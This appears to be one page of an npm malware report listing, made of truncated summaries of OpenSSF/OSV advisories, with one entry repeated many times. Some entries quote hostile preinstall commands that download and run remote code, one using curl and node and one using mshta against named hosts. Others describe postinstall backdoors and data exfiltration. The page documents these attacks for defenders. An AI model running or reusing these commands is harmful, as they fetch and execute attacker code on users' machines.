npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 608
Updated 25 Oct 2026, 03:26 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-6145 blocks this version. The npm package `accordion-animationtiming-authorization` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a d...
OpenSSF/OSV malware advisory MAL-2026-6145 blocks this version. The npm package `accordion-animationtiming-authorization` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a d...
OpenSSF/OSV malware advisory MAL-2026-6146 blocks this version. The npm package `actionbars-infinitescroll-searchbar` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a decep...
OpenSSF/OSV malware advisory MAL-2026-3186 blocks this version. The package ac-sasskit-beta was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3415 blocks this version. The package ac-sasskit was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3415 blocks this version. The package ac-sasskit was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-6293 blocks this version. The package's preinstall lifecycle hook in package.json runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node in...
OpenSSF/OSV malware advisory MAL-2026-5927 blocks this version. On `npm install`, the package's preinstall hook (preinstall.js) runs `exec('cmd /c "mshta http://fixars.top"')`, invoking t...
OpenSSF/OSV malware advisory MAL-2026-6217 blocks this version. Package masquerades as a string-utility library but ships a postinstall backdoor. On `npm install`, scripts/postinstall.js...
OpenSSF/OSV malware advisory MAL-2026-6216 blocks this version. On `npm install`, the package's postinstall hook (`node scripts/postinstall.js`) spawns a detached background Node process...
OpenSSF/OSV malware advisory MAL-2026-6215 blocks this version. package.json declares a `postinstall` hook that runs `scripts/postinstall.js`, which spawns `scripts/shell.js` as a detache...
OpenSSF/OSV malware advisory MAL-2026-4476 blocks this version. package.json declares `"preinstall": "./.github/scripts/precheck"`, which points at a 976,568-byte precompiled Linux ELF x8...
OpenSSF/OSV malware advisory MAL-2026-4126 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4126 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-6086 blocks this version. collect.js performs system reconnaissance and exfiltration to a hardcoded attacker-controlled host. The script imports chil...